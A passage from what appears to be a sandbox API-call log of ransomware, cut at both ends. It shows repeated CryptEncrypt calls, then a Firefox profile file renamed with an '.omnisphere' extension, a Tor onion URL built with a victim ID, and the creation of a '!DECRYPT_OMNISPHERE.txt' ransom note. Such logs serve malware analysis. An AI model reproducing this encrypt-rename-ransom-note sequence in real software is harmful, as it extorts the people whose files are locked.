pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.306] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.307] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.308] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.309] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.310] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.310] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.310] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.310] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.310] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0161.311] CryptDestroyKey (hKey=0x16396a8) returned 1 [0161.311] CryptReleaseContext (hProv=0x1668e78, dwFlags=0x0) returned 1 [0161.311] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x36e8, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0161.311] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0161.311] GetProcessHeap () returned 0x1600000 [0161.311] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d8) returned 0x1747b48 [0161.311] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\search.json.mozlz4"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\search.json.mozlz4.omnisphere")) returned 1 [0161.316] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4.omnisphere.id" [0161.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\search.json.mozlz4.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0161.318] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0161.319] CloseHandle (hObject=0x388) returned 1 [0161.319] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0161.319] CloseHandle (hObject=0x3c0) returned 1 [0161.319] SetEndOfFile (hFile=0x288) returned 1 [0161.319] FlushFileBuffers (hFile=0x288) returned 1 [0161.327] CloseHandle (hObject=0x288) returned 1 [0161.327] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\search.json.mozlz4" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0161.327] GetProcessHeap () returned 0x1600000 [0161.327] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1747e28 [0161.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0161.327] GetProcessHeap () returned 0x1600000 [0161.327] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734170 [0161.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734170, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0161.327] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0161.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0161.327] GetProcessHeap () returned 0x1600000 [0161.327] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726618 [0161.327] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726618, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0161.328] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0161.328] GetProcessHeap () returned 0x1600000 [0161.328] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd2) returned 0x1730a88 [0161.328] PathCombineW (in: pszDest=0x1730a88, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" [0161.328] GetProcessHeap () returned 0x1600000 [0161.328] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1739138 [0161.328] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\!DECRYPT_OMNISPHERE.txt" (normalized: 